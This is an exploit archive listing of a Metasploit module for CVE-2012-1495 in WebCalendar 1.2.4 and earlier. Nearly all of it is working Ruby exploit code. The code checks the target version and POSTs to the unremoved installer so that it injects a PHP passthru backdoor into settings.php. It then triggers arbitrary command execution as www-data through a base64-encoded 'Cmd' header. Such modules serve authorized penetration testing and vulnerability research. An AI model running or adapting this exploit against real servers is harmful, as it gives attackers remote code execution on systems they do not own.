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WebCalendar 1.2.4 Pre-Auth Remote Code Injection

WebCalendar 1.2.4 Pre-Auth Remote Code Injection
Posted Apr 30, 2012
Authored by EgiX, sinn3r | Site metasploit.com

This Metasploit modules exploits a vulnerability found in WebCalendar versions 1.2.4 and below. If not removed, the settings.php script meant for installation can be updated by an attacker with injected code. This allows arbitrary code execution as www-data.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2012-1495
SHA-256 | 29b4c547a774b448684e25b5a3790447dba6bd3752a031b9b5ce3b8d549c07cb

WebCalendar 1.2.4 Pre-Auth Remote Code Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
'Description' => %q{
This modules exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
less. If not removed, the settings.php script meant for installation can be
update by an attacker, and then inject code in it. This allows arbitrary code
execution as www-data.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Initial discovery & PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-1495'],
['OSVDB', '81329'],
['EDB', '18775']
],
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'linux'],
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Targets' =>
[
['WebCalendar 1.2.4 on Linux', {}],
],
'Privileged' => false,
'DisclosureDate' => "Apr 23 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'

res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}/login.php"
})

if res and res.body =~ /WebCalendar v1.2.\d/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end


def exploit
peer = "#{rhost}:#{rport}"

uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'

print_status("#{peer} - Housing php payload...")

# Allow commands to be passed as a header.
# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
post_data = "app_settings=1"
post_data << "&form_user_inc=user.php"
post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
post_data << "\n"*2
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}install/index.php",
'data' => post_data
})

print_status("#{peer} - Loading our payload...")

# Execute our payload
send_request_raw({
'method' => 'GET',
'uri' => "#{uri}includes/settings.php",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})

handler
end
end
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